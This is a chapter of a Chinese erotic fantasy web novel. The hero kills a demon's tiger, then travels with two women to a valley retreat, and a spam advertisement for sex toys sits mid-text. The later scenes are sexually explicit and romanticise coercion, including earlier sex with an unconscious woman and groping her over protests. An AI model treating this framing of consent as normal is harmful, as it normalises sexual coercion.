热门搜索


[玄幻]仙童下地狱(全本)-4

  
第二回鸳鸯戏水

鱼姬叫道:“一朗子,你要小心了。等我放倒了老怪,再帮你杀虎。”

老怪嘿嘿怪笑,说道:“你当我的老虎是一只猫那么好对付吗?来,看我怎么把你抓住的。”

双袖乱舞,急风突起,向鱼姬刮来。

鱼姬不敢大意,连翻几个跟头闪过。从腰上解下细长的腰带,挥动如蛇,向老怪进攻。虽然柔美,却含着无穷的力量。

老怪尖声叫道:“来得好,来得好。你的身手还是那么俊。一会儿在床上时,我更要好好领教你的功夫了。”

说罢,兴冲冲地欺身而上,跟鱼姬斗在一起。

他并没有再看黑虎。他知道黑虎的厉害,因此不需要担心它。他不相信,黑虎还对付不了一个年轻人。他想,不等自己和鱼姬分出高下时,那青年早被黑虎给吃得骨头都不剩了。

那黑虎确实了得,朝一朗子倏地一扑,快如疾风。一朗子打斗经验丰富,在关键时刻勉强闪过。只听哧地一声,衣袖已经被撕去一块,吓得一朗子冷汗都流出来了。

他嗖地拔出长剑,如临大敌,心说,我若连这只畜生都对付不了,那我还叫什么男人?我还有何脸面面对无为观的师弟们呢?

那黑虎低头撅臀,高啸几声,像是吃人的信号,然后,又凶猛地冲过来。这次,是咬一朗子的大腿。那个狠劲儿,快劲儿,猛劲儿,绝不是人间的老虎所能相比。

一朗子一边闪腿,一边挥剑,一连几剑,都砍在黑虎的脖子上。只听铛铛铛几声,犹如砍在铁上。老虎没伤着,他的剑都要卷刃了。

一朗子大惊,心说,坏了。我伤不着它,岂不是只有被伤的份。这老虎这么厉害,用不了多久,我就完了。

那边的黑山老怪哈哈狂笑,说道:“小子,你这回知道厉害了吧?嘿嘿,告诉你吧,这老虎刀枪不入,岂是你能伤得了的呢?你就等死吧。它已经吃过一百八十个人了。你是第一百八十一个。很幸运的。”鱼姬一边抖着袖子攻击,一边喊道:“一朗子,这老虎的眼睛最弱了。你刺中它两只眼睛,它就死了。”老怪听了,大叫道:“胡说八道。”双掌如山,排山倒海地攻来,逼得鱼姬连退数步。偷眼瞅着一朗子被老虎扑得东躲西闪,却是干著急没办法。

老怪笑道:“鱼姬,你跟我走,乖乖从了我。我会放过那小子的。反正那小子是给花王戴的绿帽子,也不是给我戴的。”鱼姬凤目瞪大,痛骂道:“放狗屁。”

腰带一扯,如同南傍国一样笔直,快如闪电般向老怪打去。

老怪哈哈大笑,说道:“好,我就喜欢你这个性子。在床上玩起来,也一定很有味儿。”

大袖飞扬,一一化解招数。

那边的一朗子知道老虎的死穴所在之后,在闪躲的同时,传往眼睛上刺。那黑虎也是通人气的,知道一朗子在对自己的要害下剑,因此,进攻得更为猛烈了。

一朗子眼看着老虎步步紧逼,自己没法伤它,便练起追风剑法来,将自己的周围形成一道无形的围墙。那黑虎虽勇猛,一时半会儿,也攻不进来。双方在激烈地胶着着。

一朗子心中着急,偷眼看鱼姬那边。正打得云朵乱飞,天地变色,夹杂着老怪的怪笑声,调笑声,以及鱼姬的娇呼声,怒斥声。瞧那架势,暂时是没法分出胜败的。

他知道,自己的表现可决定他们二人的胜败。他一边对付黑虎,一边心思百转,思考破解之术。他知道这样下去,绝不是办法。时间拖久了,自己体力下降。黑虎便有机可乘。

在黑虎袭击他后背,从后边扑上来时,一朗子一矮身,长剑立起,刺向黑虎的阳具。他以为这下又是刺在铁上,不想,这里也是黑虎的软肋所在。这里并没有修炼到刀枪不入。

这一剑下去,虽没刺穿它,也叫它吃痛,流血了。黑虎受伤,更为疯狂,向一朗子猛冲。一朗子躲过。它的身子擦过,那尾巴一卷,象鞭子一样抽来。一朗子反应奇快,但还是被尾尖扫过左臂,痛得他得差点落泪,以为骨头碎了呢。幸好是尾尖呀。

黑虎迅速转身,再度嘶咬。一朗子一个侧身,剑扎虎眼。黑虎大啸一声,猛抬头,咬断长剑。嘎吧嘎吧几声,竟把断剑吃到肚子里,还得意地昂头啸几声,像是在向一朗子示威。

一朗子还握着断剑,双目因怒欲裂。在黑虎再向他扑来时,他一咬牙,一闪一躲,右手一扬,射向虎眼。

黑虎见他不躲,以为他绝望了呢。想不到他将剑当暗器了。那一剑又快又准。它再躲已经来不及了。虽运气在眼,仍被刺入。

一声惨叫,那剑身没入一半。从虎眼中淌出鲜血。那边的老怪见虎受伤,心痛不已,大叫一声,转身想过来。

鱼姬心情变好,嘲笑道:“老怪呀,你别跑呀,你不是还想跟我上床吗?”

腰带猛缠,斗得老怪手忙脚乱,分不出身来帮黑虎。

那黑虎果然了得,虽受重伤,仍不后退。虎头一甩,那断剑从眼中掉落。又怒啸一声,疯狂地朝一朗子奔来。它要报仇雪恨,全然不顾血流如注。

一朗子展开身法,赤手空拳地应付。他的身法相当好,在无为观,除了师父之外,无人能比。尽管这样,他也不如老虎快。一个躲闪不及,又被黑虎咬掉一段裤腿,露出皮肉来。

一朗子火了,向黑虎叫道:“你给我滚得远远的。不然的话,我把你另一个眼睛也捅瞎了。让你变成一只瞎老虎。你现在躲开还来得及。否则,你就没命了。”

黑虎现在一眼冒血,已失去刚才的威风劲儿了。现在看来,倒象一只疯虎。

疯虎虽不威风,但是很有杀伤力。

黑虎不为一朗子的言辞所动,仍然一波又一波的发动攻势。一朗子手中没剑,拳脚功夫虽好,也不敢跟黑虎搏斗。无奈之下,他利用自己的腾云驾雾进行游斗。黑虎也会这个。一朗子飞到天上,它也追到天上。一朗子落到地上,它也跟到地上,基本不给他喘息的机会。

当他落地时,他希望下边是崇山峻岭,或者丛林茂密。哪想到呀,下边竟是开阔的平地。只稀零零地长着几棵小树,根本不能当保命的掩体。妈的,人要是倒霉,喝凉水都塞牙。

他在前边时而左拐,时而右转。那老虎速度更快,使他险象环生。好不容易看到树后边有一个湖泊,他毫不犹豫地飞去,落在湖中心。不想,那水太浅,刚没膝盖。老虎猛啸着,也追上来了。

他又返回平原上。黑虎又不客气地如影随形。一朗子一回头,妈呀,老虎嘴几次伸前,要咬到自己屁股了。

他只好再度加速,远离虎嘴。他已经满头大汗了,体力消耗不小。又跑了一段,他实在跑不动了,弯腰喘气,看着逼近的老虎。老虎在他对面五六步外停住,也虎视眈眈地盯着他。它身上也给汗润湿了。那只已经不流血的虎眼看起来那么丑陋,那么恐怖。

一朗子一指老虎,一脸的气愤,说道:“咱们今天胜负已分,不用再打了。再打下去的话,你另一只眼睛也完了。”

老虎的独眼透着怨气,又大啸几声,没有马上进攻。它也大声喘着气。

一朗子又说:“我能弄瞎你一只眼睛,我也一样能弄瞎你另一只眼睛。不信的话,咱们走着瞧吧。”

他喘了几口气,又做出马步蹲裆式,一拳在前,一拳在后。还瞪起眼珠,装出凶神恶煞的样子。

只是他是一个帅哥,虽努力装扮,凶气究竟差点太多,比黑山老怪可差得远了。

没等黑虎有所反应,他身后传来一声冷笑,说道:“你吓唬它也没有用。这只黑虎又不是傻子。看来你今天要被吃掉了。小淫贼。”

这声音又冷,又充满怨气。不用回头,也知道是谁来了。一朗子回过头,果然看到朵云走了过来。苗条的身段穿着绿裙,隆起的胸脯随着她的步子微颤。青春洋溢的脸上容光焕发。只是看向一朗子的眼神一点都不友善。

一朗子突然看到她,象在黑暗中看到曙光,象在沙漠中看到绿洲,象在荒岛上看到生机。那种狂喜、兴奋难以言表。

他完全忘记了他们之间的恩怨和过节,剩下的全是亲情的温暖和温馨。

他大喜过望,跑过去就将她搂在怀里,还在她的俏脸上亲了两口,说道:“我的心肝宝贝儿,你可来了。这老虎要吃我呢。”

朵云大羞,俏脸飞红,心跳几乎停止,犹豫一下,才将他推开,白了他一眼,说道:“少套近乎。我可不是你的心肝宝贝儿。我又不是洛英。你被老虎吃掉才好呢,省得烦人。”

大敌当前,一朗子一下子勇敢了。朵云的出现,非常必要。一朗子厚着脸皮,拉起朵云的手,说道:“朵云,你不要生气了。我以前如果得罪你了,我向你道歉还不行吗?等解决了老虎,我给你跪下都行。”

朵云被他握着手,再看他衣服破烂,狼狈不堪的样子,心也软了,但还是说:“你不是讨厌我吗?我不是配不上你吗?你拉着我干什么?”

说到心痛处,朵云已经美目含泪,差点哭出来。

一朗子连忙将她搂在怀里,微笑道:“我那都是气话,是故意气你的。其实你虽然脾气大了点,说话冲了点,可我还是喜欢你的。我恨不得脱光你的衣服,天天和你在一个被窝里睡觉呢。”

朵云俏脸发烧,粉拳砸了他一下,说道:“大色狼,你可真下流。”

脸上却露出开心的笑容。一切的矛盾和怨恨全都烟消去散了。

看着她笑得那么开心,那么美丽,一朗子真想将她给干了。可是不行啊,跟前还有只大老虎。

□□□

朵云在一朗子的耳边问:“怎么对付这只黑老虎?”

一朗子心里有数,低声说:“鱼姬姐说了,这黑老虎最弱的部位是眼睛。你看到了吧?它瞎了一只眼睛,就是我刺的。咱们就对着它的那只好眼睛下手。我的责任吸引它。你呢,找准机会,将它那只眼睛刺瞎,它就完蛋了。”

朵云回答道:“没问题。”

那只老虎见二人窃窃私语,料想是对自己不利。它忍着阳具和眼睛的疼痛,本着先下手为强的原则,在这对男女相依相偎之时,它猛地冲了过去。

二人连忙分开。一朗子叫道:“瞎老虎,我在这儿。有本事来追我呀。”

由于瞎了一只眼,它的视力受到影响。一朗子专门往它那瞎眼睛不方便看的角度闪躲。这使黑老虎越发恼怒。它的本事全往一朗子身上招呼。一会儿是狠扑,能扑倒一棵大树;一会儿是虎爪狠抓,能把人抓烂;一会儿是以尾当鞭,使劲一扫。

因为有了朵云的到来,一朗子精神大振。他已经能有效地应付黑虎了。交战几十个回合,黑虎使连遇凶险,但就是不能伤到它。

情急之下,老虎使出绝活来。只见它大嘴一张,从嘴里喷出一股火来。一朗子大惊,不曾想这老虎还有这本事呢。他反应敏捷,连忙闪身,还是叫老虎把一部分头发烧焦了。

在他惊魂未定时,黑虎已电光石火地将一朗子扑倒,双爪按住他的肩头,大嘴咬他的脸。一朗子心惊胆战的。这要是让它咬一口,就算不死,帅哥也变成猪哥了。

他运起无为功法,双臂叫劲儿,跟黑虎较量。脑袋也左摇右摆。黑虎连咬几口,都不能得逞。

一朗子知道这可不是办法,连忙叫道:“朵云,快点砍它,快点杀它。你不弄死它,你可成寡妇了。”

朵云看得眼花缭乱,何尝不想帮他呢?只是不知从哪儿下手。她见形势危急,便举剑连连砍老虎身上数处,只听铛铛之声响过,老虎啥事儿没有。虎尾巴一轮,差点扫着她。

她想刺黑虎眼睛,黑虎全力防范,不让她得手。这使朵云不敢乱动,生怕伤着一朗子。

一朗子心急之下,突然想到法子,说道:“我的好姑娘,你忘了,你会隐身术的。”

朵云听了一笑,说道:“我怎么这么笨?我都急忘了。放心,黑虎马上就死了。”

就在黑虎对一朗子进行最后一次嘶咬,一朗子几乎难以躲过时,朵云隐身了,一剑刺入虎眼,直刺到底。黑虎惨叫一声,血液飞溅,还是对一朗子咬了下去。

一朗子使出全力,一脚踢出,将老虎踢飞,跌进湖水之中。在水中挣扎了几下,便沉没了。水面上冒了几个泡之后,又恢复了原来的平静。

一朗子长出一口气,往绿草地上一躺,四肢大开,再不愿动一下。他觉得自己仿佛是在鬼门关转了一圈。要不是朵云前来相助,自己能不能活下来,真是难料的。

以前一直以为自己的功夫不错,今日跟老虎搏斗,连只畜生都斗不过,还谈什么功夫高手呢?要是被睿松师父知道,他一定会笑掉大牙吧?不过自己不能斗败老虎,他也有责任。

他会那么多的本领,如果倾囊传授的话,别说这一只老虎,就是十只八只的,也不在话下。作为师父,他实在是太自私了。难道他真要把一身的本事都带到棺材里去吗?

朵云回到一朗子跟前,说道:“一朗子,黑老虎死了。那个女人又跟黑山老怪斗个不相上下。咱们快趁此机会跑吧。再不跑的话,咱们就跑不成了。”

说着话,伸手去拉一朗子的手。

一朗子一使劲儿,朵云便倒下来,落进他的怀里。一朗子笑道:“这可是你自己投怀送抱的。我可没强迫你呀。”

说着话,向她的脸上亲去。

朵云又羞又急,嗔道:“一朗子,你个大色狼,死淫贼。这都什么时候,你还有这个兴趣。快点起来。保命要紧。”

他的脸被溅上鲜血了。

一朗子抱着她不放,说道:“朵云,你让我亲三下嘴儿。我就放开你。”

朵云直摇头,说道:“你可真是个无赖啊。快点放手,等咱们跑出去,再说亲不亲的事儿。”

一朗子哪里肯放。朵云又不让他亲。二人搂抱在一起,在绿草地上象球一样,一会儿滚过来,一会儿滚过去的。朵云实在没法子,就一把抓向他的胯下。一朗子有点疼,连忙放开她。

朵云站起来,幸灾乐祸地说:“看你以后还敢不敢欺侮我。下次,我把你给捏化了。”

说着,嘻嘻笑起来。

一朗子站着,捂着胯下轻揉,皱眉道:“朵云,你真舍得下手啊?要是捏坏了,你师父第一个饶不了你。”

朵云满面桃红,楚楚动人。她的美目白着一朗子,说道:“你活该呀,谁叫你没安好心。快走吧,跟我回月宫。”

一朗子望望远外的半空,两个人影仍在缠斗着。他看得出,鱼姬已经落了下风。她是一个女人,又长期昏迷,功力大打折扣。时间一长,自然有些支持不住。

一朗子对朵云说道:“朵云,你先回去吧。等我解决了这里的难题,我再回去跟你们会合。”

朵云双手抱住一朗子的胳膊,凝视着他,说道:“一朗子,有什么难题要解决呢?不就是你为了救人,把那个女人给干了,那个女人缠着你不放吗?这有什么难的?你也不是故意要占她便宜。是你救了她,她应该感谢你才对。”

一朗子点点头,说道:“你说得不错,就是这个事儿。可是并不象你说得那么容易解决。她总认为我对不起她,是强奸她。她心里有气。她让我跟她去冷香谷去一趟。我已经答应了。”

朵云拉了拉一朗子的胳膊,说道:“你别傻了。你把她给干了。她心里恨着你呢。谁知道冷香谷是什么地方呢?也许是地狱呢。她要让你下地狱。你还是跟我快点跑吧。别死脑瓜骨了,被人杀了,还偷着乐呢。

一朗子严肃地说:“我意已决。你不要再劝我了。你还是先走吧。别在这儿跟我冒险了。”朵云固执地说:“你不走,我也不走。你要是死了,也有个收尸的人。”一朗子听罢笑了,说道:“我要是死了,你可不准哭啊。”朵云呸了一声,说道:“好人不长寿,坏人活不够。”一朗子满意地点头,说道:“看来我就是坏人了。”

他望着远处恶斗的二人,有了主意。他轻飘飘地飞到湖面上,探手抓起黑虎的尸体。将长剑拔出交给朵云之后,拎着虎尸向二人腾云而去。

来到近前,鱼姬见他脸上有血,衣服不整,但还没受大的伤害,非常欢喜。

一朗子朗声说:“老怪物,你的老虎太没用了。两只眼睛都被我刺瞎了。你也乖乖地投降吧,不然的话,你也会跟你的老虎一样,去见阎王的。”

说罢,手上用力一掷,虎尸向黑山老怪掷去。

黑山老怪接住虎尸,涕泪横流。鱼姬把握机会,一脚踹上去,踹中他的胸口,使他连吐几口鲜血。

他擦擦嘴上的血迹,用手指着一朗子,骂道:“臭小子,我不会放过你的。落到我手里,扒你的皮,抽你的筋,喝你的血。我要给我的黑虎报仇。”

一朗子胸脯一挺,傲然笑道:“你要是有那个本事的话,只管找我好了。我一定会给你机会的。”

黑山老怪狠瞪了几眼一朗子,又深深地望了一眼鱼姬,爱怜地抱着虎尸,失魂落魄地飞走了。

一朗子看鱼姬时,只见她头发已经乱了,香汗淋漓。可见刚才打斗时用力之多。鱼姬瞅着一朗子,嫣然一笑,笑得好灿烂,说道:“好弟弟,你真行,到底弄死他的黑虎了。真好,咱们胜了。”

伸出手,握住他的手,只觉得热流从对方手上传来,弥漫全身,说不出的舒畅。

朵云从远处嗖地飞来,将一朗子的手拉开,瞪着鱼姬说:“你这个女人,真是厚脸皮呀,干嘛拉他的手呀。他又不是你男人。你男人是花王。”

鱼姬这才注意到一位绿衣美女,一副吃醋的表情。鱼姬笑盈盈的,问道:“小妹妹,你是谁呀?一朗子确实不是我的男人。难道他是你的男人吗?”

朵云哼了一声,以敌视的眼光盯着鱼姬,说道:“我是嫦娥仙子的大弟子朵云。一朗子虽是无为难的弟子,但是他跟我们月宫有着密切的关系。请你自重,以后不要没皮没脸的缠着他。他也不欠你什么。”

鱼姬听了这话直皱眉,觉得非常反感。她面带冷笑,说道:“我跟一朗子的事儿,不需要你来操心。你还是离我远点吧,我可不敢保证我不会伤到你呀。”

朵云大怒,柳眉倒竖,杏眼圆睁,叫道:“难道我还会怕你吗?”

说罢,拔出长剑,挽了个剑花,便鱼姬刺去。

□□□

一朗子生怕朵云吃亏,连忙叫道:“朵云,快住手。你不能这么做。大家都是自己人。”

朵云不听,连刺数剑。每剑都是狠辣招数。鱼姬一边避让,一边笑道:“这剑术还不错,只是火候还差一些。”

朵云哼道:“虽差一些,也足以刺你几个窟窿了。”

使起隐身术,连绵不绝地指向鱼姬的要害。

鱼姬左躲右闪,仿佛能看清她似的。一朗子大感兴趣,不知道她是如何破解隐身术的。如果自己学得了这招,以后就再不用怕朵云发威了。

没过几个回合,只怕铛地一声,朵云的剑掉落,而她本人也现出身形来,向后倒去,合着眼睛,人事不醒。

一朗子连忙抱住,关切地问道:“鱼姬姐姐,她怎么了?”

鱼姬擦了一把头上的汗,笑了笑,说道:“一朗子,你很关心她。你怎么不问我多么累呀。对付完老怪物,还得对付你的女人。”

一朗子解释道:“姐姐误会了。她并不是我的女人啊。”

鱼姬笑容变浓,凤目望着一朗子,说道:“既然不是你的女人,那就好办了。你说,咱们是把她随便丢下好呢,还是干脆杀掉呢?”

一朗子脸都变色了,大声说:“鱼姬姐姐,你绝对不能这样做的。她跟你远日无冤,近日无仇的。她虽然爱冲动,爱发脾气,可她心眼挺好的。我可不准你伤害她呀。”

鱼姬格格笑了,笑得春光灿烂,红唇翘翘,说道:“一朗子,我只是逗逗你。看你紧张那样儿,汗都出来了。如果是个臭男人,用剑指着我,我一定不饶他。可是换一个漂亮的姑娘,我不会计较的。再说了,她也是因为你才向我舞刀弄剑的。她是喜欢你了。”

一朗子听了,一块石头落了地。别看朵云和自己处处作对,处处为难自己,但是并不表示彼此就是仇人。此刻回想,朵云和自己闹矛盾,主要还是因为对自己有意思。不然的话,她为什么不跟别人闹呢?女人的心思真是怪怪的。连表达爱意也要这种方式。这样的姑娘真有味道。

鱼姬遥望一下前方,说道:“离冷香谷不算远了。咱们这就走路吧。”

一朗子将朵云抱在怀里,望着她熟睡般的面孔,是那么宁静,那么甜美,再没有平日的任性和霸道了。她的身体不重,搂着真舒服。若非有人在旁,一朗子真想亲个够;亲她的红润而鲜艳的双唇。

一朗子抬头望着鱼姬,说道:“姐呀,要不我先把她送回月宫。然后再和你去冷香谷吧。”

鱼姬听了,脸色一暗,坚决地说:“不可以。你要是回月宫了,你还能出来吗?嫦娥那娘们还能放你出来吗?她怕我伤着你,肯定会看住你的。你哪儿都跑不了。”

一朗子望着她成熟美艳的脸,说道:“姐姐,你决定没有,要向我怎么报仇呢?”

鱼姬眯着凤目笑了,笑得那么神秘,那么暧昧,连牙齿都带着笑意。她板着脸说:“怎么?你怕了吗?我初步打算把你从云朵上扔下去,把你摔成肉饼。你看这么报仇怎么样?”

一朗子苦笑两声,说道:“怎么报仇都行,不过不要殃及无辜。”

他低头瞅瞅睡着的朵云。

鱼姬沉吟着说:“既然不能杀,又不能扔,那么只好带着她了。放心吧,咱们的事儿和她无关,我不会伤她的。好了,别再浪费工夫了。”休息一下 广告时间:还在靠双手?怎么能够爽?论坛声誉保证!健康防早泄自慰锻炼器 真实口交快感体验 火热推荐!保持射精感30分钟,爽到晕 自慰全自动化 12种不同性爱体位震荡频率 点击进入

一朗子嗯了一声。在鱼姬的引导下,两人继续飞行。有了朵云在怀,一朗子再没有机会抱鱼姬了。

鱼姬不时瞅向一朗子,多少有些不自然。他们中间多了一个姑娘,本来的好气氛被破坏了。

不久,他们来到了冷香谷。这是个风景优美又人迹罕至的地方。如同它的名字一样,是群山围着一个山谷,每一棵树都绿得要冒油。山谷多花,各式各样,花香阵阵。这里的空气也带着凉意。难怪这里要叫冷香谷呢?

二人按落云头,落在谷底。脚下是毛茸茸的绿草,既绵软,又不影响人走路。四面是长长的山岭。山上长满了奇花异树。抬头望,天空都变小了。

一朗子观察着环境,说道:“鱼姬姐姐,这里真美呀,跟我们无为观差不多。你是怎么发现这个地方的?”

鱼姬陶醉般地合上美目,说道:“那是我和花王刚成亲不久。我陪他出来采药,无意中就发现这个好去处了。我们还在这里盖了一座小楼,在这里度过了蜜月期。”

一朗子听得悠然神往,追问道:“我的好姐姐,蜜月期间,你是不是很爽呀?”

双目盯着她的俏脸。

鱼姬的美目在他的俊脸上一瞪,轻哼一声,娇嗔道:“小淫贼,你真下流。不问别的,偏问这个。”

横他一眼,快步走了。

一朗子望着她细腰扭着,肥臀摇着,心里说,她的肉体真好,可以跟嫦娥姐姐一争长短了。也不知道以后还有没有机会再干她几次。这么美的女人,不干她太浪费了。

唉,我刚才问她的话,可没有邪意,是她想得太多了。

鱼姬将一朗子领到一座小楼前。它只有二层,是个竹楼。每层两个房间。外形小巧而精致。楼前是空地,挨着空地是一个小湖。湖水清可见底,水里的游鱼和绿油油的水草看得明白。

一朗子楼前楼后看了看,夸道:“真漂亮呀。这是谁设计的?”

鱼姬微笑道:“当然是我了。我设计的,花王动手。”

一朗子点头道:“果然不错。这小楼背倚青山,门对湖水,还有鸟语花香之妙,真是世外桃源。”

鱼姬开心地笑了,说道:“你愿意的话,多在这儿呆几天。”

一朗子扬了扬眉毛,说道:“难道你不找我报仇了吗?”

鱼姬眯了眯凤目,观赏着山光水色,柔声说:“我并没有说马上报仇啊?”

接着又说:“你把朵云放下吧,别抱着不放了。你要是真喜欢她的话,我帮你把她变成你老婆。你看怎么样?”

一朗子听得心里发痒,笑了笑说:“我把她放在那儿最合适呢?”

鱼姬抬头望着小楼,说道:“你把她放在楼上的房间吧。记住呀,是西边的那间。不许放错了。”

一朗子嗯了一声,抱着朵云进楼了,按着鱼姬的嘱咐,放在西边的房间里。

房间里挺简单的,竹床竹椅的,梳妆台都是竹子的。手工精巧,受看。

放好朵云,关好门。鱼姬领他进了东边的那间。关上门,打开窗子,那美景仿佛清泉一般涌进来,让人的胸怀为之一畅。

鱼姬抄起桌上一壶,说道:“你在这儿等着。我去给你弄点泉水喝。”

一朗子忙说道:“鱼姬姐姐,还是我去吧。你已经很累了。”

鱼姬理了理鬓发,淡淡一笑,说道:“让你去,你也找不着。”

身子如鸟,从窗口飞了出去。动作之快,动作之美,令一朗子佩服。

好一会儿,鱼姬进屋了。除了水壶之外,还握了一束野花,有红有黄有粉有绿的。她将花放在鼻下闻闻,又插入瓶子。这才倒水给一朗子喝。

一朗子喝进嘴里,只觉冷香满口,说道:“这简直是琼浆玉液呀。这地方真好。来,鱼姬姐姐,你也多喝点。”

鱼姬小口小口地喝着,象品茶一样的心醉。她刚才已经洗过脸,梳过头了,越发显得肌肤胜雪,俏脸生春,双眸如水,风情万种。看得一朗子眼睛发直,真想搂进怀里胡来一番。他可没有那个胆子。万一惹恼了她,她真对自己下手可如何是好。

二人隔桌而坐,坐在竹椅子上,喝着甘甜的泉水,目光不时相遇,心里激起无数的浪花。时而是热烈的,奔放的,时而又是紧张的,冷淡的。

单独面对这个小男人时,鱼姬无论如何做不到风平浪静,心如止水。

一朗子望着她黑宝石一样亮的美目,问道:“鱼姬姐姐,那花王会不会找到这里来?他那么在乎你,肯定会四处找你的。”

鱼姬放下水杯,站起来望着窗外的绿色,说道:“暂时不会儿,但终究会找到这儿来的。你怕不怕?”

她转脸对着一朗子,双手抱膀,笑盈盈地瞅着一朗子。那胸脯好突出呀。想到里边的风景,想到自己曾经尝过它的味道,他心里痒丝丝,又非常自豪。

一朗子不敢造次,努力避开她的目光,说道:“我已经不怕了。因为等他来的时候,姐姐已经报完仇了。我说得对吧?”

鱼姬开心地大笑,笑得花枝乱颤,丰胸起伏,笑声悦耳,如同仙乐。一朗子不敢多看,生怕受了诱惑,对她无礼。

鱼姬好不容易止住笑,走过来,将手放在她的肩膀上,说道:“一朗子呀,你放心,我不会轻易杀你的。虽然,你算是我的野男人,但毕竟也是我男人。我已经想出最好的报仇方法了,你也满意,我也满意。”

一朗子哦了一声,说道:“那是什么法子?说来听听。”

心说,只要不是伤害我的,我都能接受。

鱼姬妩媚地一笑,魅力无限。她双臂勾住他的脖子,侧坐在他的大腿上。身上的体香一下子便唤醒了他男人的欲望。

□□□

受到诱惑的一朗子,很自然地搂住她的腰,伸嘴要亲她。鱼姬以手挡住他的嘴,笑眯眯地望着他,说道:“在我昏迷的时候,你占了我最大的便宜。我觉得好吃亏。我得和你算帐。告诉我,咱们好过之后,你还想不想再和我干那事儿?”她的脸上露出又羞又不安的神情,煞是迷人。

一朗子的双手下滑,放在她肥美的屁股上,随心所欲地抓着,捏着,两眼放光地说:“想呀,当然想了,想了不止一次两次呢。你的身子真好,让我想把命都搭你身上,我都愿意。”

鱼姬扑哧一声笑了,说道:“你说什么呢?把我说得跟祸水一样。我现在坐到你怀里,让你乱摸,你心里一定觉得我下贱吧?”

一朗子连忙表示道:“哪有的事儿呀?在我心里,鱼姬姐姐和嫦娥姐姐一样,都高不可攀的仙子一类的人物。我可没敢瞧不起你。老实说,我早就想勾引你了。可我不敢,怕你不乐意。”

鱼姬听了满意,问道:“你真的这么想吗?拿我和她比。”

一朗子一脸诚恳地说:“是真的。否则,天诛地灭,不得好死。”

鱼姬笑得凤目弯弯,说道:“好了,不要发誓,我信你就是了。”

一朗子一手搂她腰,一手探入她的胯下抠弄。鱼姬吃吃笑,忙从他的怀里挣脱,说道:“小淫贼,又要祸害我了。”

一朗子一脸的失望,说道:“姐姐呀,我很想再和你尝尝那销魂滋味儿,难道你不乐意吗?”

鱼姬一皱眉,说道:“我觉得那么做,对不起花王啊。我可是他的老婆,怎么能跟别的男人乱来呢?”

一朗子笑道:“咱们已经有过一次了。这种事儿,干一次,和干十次百次,有什么区别呢?”

鱼姬很认真地说:“那可不一样。咱们第一次做那事儿,是为了救人,而且我什么都不知道。现在不同了,我很清醒的。让我清醒着去和别的男人那个,我缺少勇气啊。”

一朗子已经察觉她动情了,便站起来,将她搂在怀里,说道:“姐姐,我知道你也想干这事儿。你也是个女人,也很喜欢被男人插进去。来吧,就当是我强奸你好了。花王问起来,就说责任全在我。”

一手攀上高峰,仔细地揉搓着,对那乳头,自然更不会客气。

鱼姬被弄得娇躯发软,说道:“我刚才和那个老怪物打了一场,出了好多汗,我得去洗洗。”

一朗子就势说:“咱们一块洗吧,我可以给你搓背。”

鱼姬娇嗔地扫了他一眼,说道:“你在我身边,我还能洗澡吗?应付你这个淫贼还应付不过来呢。”

说罢,快步下楼了。

一朗子心里痒痒的,也想跟着。他也不忘了看看朵云。这小美女仍躺在床上睡着呢。鱼姬封了她的功力,还点了她的睡穴。估计她得睡好久才能醒来。

一朗子下了楼,只见鱼姬已经站在湖边脱衣了。在蓝色的天空下,在湖光山色中,一件件衣服从她的身上落下。

一朗子在她身后暗呼过瘾呢。看美女脱衣服,也是一种享受。

鱼姬怕羞,剩下肚兜和内裤时,就脱不下去了。她回头嗔道:“你把脸转过去。你看着我,我脱不下来。”

一朗子哈哈一笑,说道:“你身上哪块地方我没有见过呀?不如,我帮你脱吧。”

那裸露的胳膊和细腰、玉背,都看得他阳具一跳一跳的。

他也不管她同意与否,上来将她的肚兜绳解开。肚兜没了,两只大白桃般的大奶子露出来了。颤颤巍巍的,很壮观。

鱼姬忙双手捂住乳头,瞪他一眼,说道:“你看你呀,口水都要流出来了。标准的大色狼。”

一朗子一脸的淫笑,说道:“我的鱼姬姐姐,色狼就色狼吧,反正我也不是没有射过你。”

眼睛在她光光的上身扫视,双手褪她的亵裤。最后一件衣服没了,粉光滑腻的大屁股出现眼前。真够白,真够丰隆,真够翘的。看得一朗子垂涎三尺。深悔当日在床上摸得太少了。

屁股下的两条大腿,也是美得无懈可击。这成熟、撩人的肉体,让一朗子冲动得想立刻推倒大干特干。

鱼姬羞怯地说:“你的眼神好吓人,象一只狼。”

她的俏脸艳如玫瑰,说不尽的妩媚和勾人。

一朗子实在忍不住了,双手放在她的屁股上,连摸带捏的。没几下,屁股上便出现了红色的手印。真嫩呢,嫩得能掐出水来。

当他的手指深入臀沟,想探入小溪时,鱼姬一扭屁股,摆脱了他的纠缠,眯眼笑道:“我去洗澡了,不接受你的骚扰。”

扭腰摆臀地向湖中走去。

那个大屁股摆动时,细一看,下边还露着一些绒毛呢。只是看不清小溪的现状。估计那里已经流水潺潺了吧?

一朗子瞅着她走向湖中,水慢慢没着,大腿不见了,屁股不见了,腰也不见了。当她回头冲他笑时,奶子也不见了,只剩下脖子和脑袋了。

她的笑容是最勾人的那种,是最能挑起男人的欲望的那种。她此时再不是端庄而稳重的少妇了,而是能将男人打入地狱的性感尤物了。

湖水使鱼姬快乐起来。她一会儿在身上擦洗,一会儿又在水中游泳,快乐得象一条美人鱼。脸上露出着愉快的笑容。

一朗子看了一会儿,就忍不住了。几下子就把自己脱个精光,挺着那根翘起多高的玩意,向她冲去,嘴里叫道:“我的好姐姐,我来陪你了。”

鱼姬看得清楚,一个一丝不挂的青年向自己跑来。那根硬起来的大南傍国随着他的跑动,一颤一跳的,标准的淫贼象征。她知道将会发生什么。她的芳心跳得厉害。矜持使她向远处游去。

一朗子大叫道:“我的好姐姐,你不要走啊。我来帮你洗澡来了。等等我。我以前也帮师父擦过背的。”

鱼姬在水中游着,自由得象条鱼。她回头笑道:“只要你能抓到我,我就从你。否则的话,以后我也不让你碰。”

一朗子胸有成竹地说:“姐姐,我一定胜利完成任务。”

鱼姬在水中踩着水,说道:“我可说明白呀。你不准使用武功,也不准飞行。只能凭水里的本事抓到我。”

一朗子拍拍胸脯,说道:“我要是抓不住你的话,你就主动扑过来吧。我保证我不会跑的,让你干个够。”

鱼姬笑?道:“你真不要脸,真下流啊。”

一朗子厚着脸皮说:“嘿嘿,一会儿就会让你下边流的。”

说着话,已经游起来,快速向鱼姬追逐。

一朗子的水性还真不错,有模有样的。这都得利于师兄弟闲来无事儿,也到山中的水里嬉戏。日子久了,他们无为观的男人没有水性不好的。

